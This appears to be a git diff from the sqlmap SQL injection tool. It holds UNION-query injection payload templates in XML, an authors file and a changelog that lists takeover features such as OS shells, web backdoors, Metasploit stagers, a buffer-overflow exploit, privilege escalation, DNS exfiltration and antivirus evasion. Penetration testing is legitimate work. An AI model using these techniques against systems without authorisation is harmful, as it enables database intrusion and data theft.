<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 1 to 10 columns</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 1 to 10 columns</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 1 to 10 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 11 to 20 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 21 to 30 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 31 to 40 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([CHAR]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[CHAR]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query (NULL) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>Generic UNION query ([RANDNUM]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>[RANDNUM]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>[COLSTART]-[COLSTOP]</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 1 to 10 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 1 to 10 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 1 to 10 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>1-10</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 11 to 20 columns</title>
<stype>6</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 11 to 20 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>11-20</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 21 to 30 columns</title>
<stype>6</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 21 to 30 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>21-30</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 31 to 40 columns</title>
<stype>6</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 31 to 40 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>31-40</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([CHAR]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[CHAR]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query (NULL) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>NULL</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL UNION query ([RANDNUM]) - 41 to 50 columns</title>
<stype>6</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
<comment>#</comment>
<char>[RANDNUM]</char>
<columns>41-50</columns>
</request>
<response>
<union/>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<!-- End of UNION query tests -->
</root>
+1719
View File
File diff suppressed because it is too large Load Diff
+6 -6
View File
@@ -1,7 +1,7 @@
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
<bernardo[email protected]>
PGP Key ID: 0x05F5A30F
Bernardo Damele Assumpcao Guimaraes (@inquisb)
<bernardo@sqlmap.org>
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
<miroslav[email protected]>
PGP Key ID: 0xB5397B1B
Miroslav Stampar (@stamparm)
<miroslav@sqlmap.org>
You can contact both developers by writing to [email protected]
+388
View File
@@ -0,0 +1,388 @@
# Version 1.4 (2020-01-01)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
# Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27)
* Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports.
* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode.
* Added wordlist compilation made of the most popular cracking dictionaries.
* Implemented multi-processor hash cracking routine(s).
* Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method.
* Old resume files are now deprecated and replaced by faster SQLite based session mechanism.
* Substantial code optimization and smaller memory footprint.
* Added option `-m` for scanning multiple targets enlisted in a given textual file.
* Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form.
* Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests.
* Added option `--host` for manually setting HTTP Host header value.
* Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself.
* Added option `--skip` for skipping tests for given parameter(s).
* Added switch `--titles` for comparing pages based only on their titles.
* Added option `--charset` for forcing character encoding used for data retrieval.
* Added switch `--check-tor` for checking if Tor is used properly.
* Added option `--crawl` for multithreaded crawling of a given website starting from the target url.
* Added option `--csv-del` for manually setting delimiting character used in CSV output.
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
* Major improvements to switches `--tables` and `--columns`.
* Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof.
* Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header.
* Added switch `-a` to enumerate all DBMS data.
* Added option `--alert` to run host OS command(s) when SQL injection is found.
* Added option `--answers` to set user answers to asked questions during sqlmap run.
* Added option `--auth-file` to set HTTP authentication PEM cert/private key file.
* Added option `--charset` to force character encoding used during data retrieval.
* Added switch `--check-tor` to force checking of proper usage of Tor.
* Added option `--code` to set HTTP code to match when query is evaluated to True.
* Added option `--cookie-del` to set character to be used while splitting cookie values.
* Added option `--crawl` to set the crawling depth for the website starting from the target URL.
* Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`).
* Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token.
* Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token.
* Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`).
* Added option `--dbms-cred` to set the DBMS authentication credentials (user:password).
* Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies.
* Added switch `--disable-coloring` to disable console output coloring.
* Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s).
* Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`).
* Added option `--eval` for setting the Python code that will be evaluated before the request.
* Added switch `--force-ssl` to force usage of SSL/HTTPS.
* Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval.
* Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`).
* Added switch `-hh` for showing advanced help message.
* Added option `--host` to set the HTTP Host header value.
* Added switch `--hostname` to turn on retrieval of DBMS server hostname.
* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
* Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
* Added switch `--invalid-logical` for usage of logical operations while invalidating values.
* Added switch `--invalid-string` for usage of random strings while invalidating values.
* Added option `--load-cookies` to set the file containing cookies in Netscape/wget format.
* Added option `-m` to set the textual file holding multiple targets for scanning purposes.
* Added option `--method` to force usage of provided HTTP method (e.g. `PUT`).
* Added switch `--no-cast` for turning off payload casting mechanism.
* Added switch `--no-escape` for turning off string escaping mechanism.
* Added option `--not-string` for setting string to be matched when query is evaluated to False.
* Added switch `--offline` to force work in offline mode (i.e. only use session data).
* Added option `--output-dir` to set custom output directory path.
* Added option `--param-del` to set character used for splitting parameter values.
* Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing).
* Added option `--proxy-file` to set file holding proxy list.
* Added switch `--purge-output` to turn on safe removal of all content(s) from output directory.
* Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run.
* Added option `--safe-post` to set POST data for sending to safe URL.
* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
* Added option `--skip` to skip testing of given parameter(s).
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
* Added switch `--skip-urlencode` to skip URL encoding of payload data.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`).
* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`).
* Added switch `--titles` to turn on comparison of pages based only on their titles.
* Added option `--tor-port` to explicitly set Tor proxy port.
* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`).
* Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection.
* Added option `--where` to set `WHERE` condition to be used during the table dumping.
* Added option `-X` to exclude DBMS database table column(s) from enumeration.
* Added option `-x` to set URL of sitemap(.xml) for target(s) parsing.
* Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`).
# Version 0.9 (2011-04-10)
* Rewritten SQL injection detection engine.
* Support to directly connect to the database without passing via a SQL injection, option `-d`.
* Added full support for both time-based blind SQL injection and error-based SQL injection techniques.
* Implemented support for SQLite 2 and 3.
* Implemented support for Firebird.
* Implemented support for Microsoft Access, Sybase and SAP MaxDB.
* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`.
* Added support to tamper injection data with option `--tamper`.
* Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack.
* Added support to enumerate roles on Oracle, `--roles` switch.
* Added support for SOAP based web services requests.
* Added support to fetch unicode data.
* Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`.
* Implemented several optimization switches to speed up the exploitation of SQL injections.
* Support to test and inject against HTTP Referer header.
* Implemented HTTP(s) proxy authentication support, option `--proxy-cred`.
* Implemented feature to speedup the enumeration of table names.
* Support for customizable HTTP(s) redirections.
* Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`.
* Support to parse and test forms on target url, switch `--forms`.
* Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL.
* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection.
* Added safe URL feature, `--safe-url` and `--safe-freq`.
* Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content.
* Implemented few other features and switches.
* Over 100 bugs fixed.
* Major code refactoring.
* User's manual updated.
# Version 0.8 (2010-03-14)
* Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials.
* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table.
* Support for takeover features on PostgreSQL 8.4.
* Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows.
* Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root.
* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries.
* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function.
* Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5.
* Updated active fingerprint for PostgreSQL 8.4.
* Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`.
* Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses.
* Support for Certificate authentication, `--auth-cert` option added.
* Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`.
* Added option `-r` to load a single HTTP request from a text file.
* Added switch `--ignore-proxy` to ignore the system default HTTP proxy.
* Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`.
* Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`.
* Major bug fix and enhancements to the multi-threading (`--threads`) functionality.
* Fixed URL encoding/decoding of GET/POST parameters and Cookie header.
* Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository.
* Major bugs fixed.
* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
* Major code cleanup.
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
* Updated user's manual.
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html.
# Version 0.8 release candidate (2009-09-21)
* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined functions.
* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified.
* Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
# Version 0.7 (2009-07-25)
* Adapted Metasploit wrapping functions to work with latest 3.3 development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+.
* Major bug fix to sql-query/sql-shell features.
* Major bug fix in `--read-file` option.
* Major silent bug fix to multi-threading functionality.
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided.
* Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring.
# Version 0.7 release candidate (2009-04-22)
* Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server;
* Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux;
* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support;
* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit;
* Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server;
* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable;
* Speed up the inference algorithm by providing the minimum required charset for the query output;
* Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little;
* Many minor bug fixes, minor enhancements and layout adjustments.
# Version 0.6.4 (2009-02-03)
* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object;
* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator;
* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing;
* Added internal support to forge CASE statements, used only by `--is-dba` query at the moment;
* Minor layout adjustment to the `--update` output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server;
* Minor bug fix to make the `--postfix` work even if `--prefix` is not provided;
* Updated documentation.
# Version 0.6.3 (2008-12-18)
* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection technique too;
* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality;
* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`;
* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided;
* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`;
* Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user;
* Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content;
* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set;
* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url;
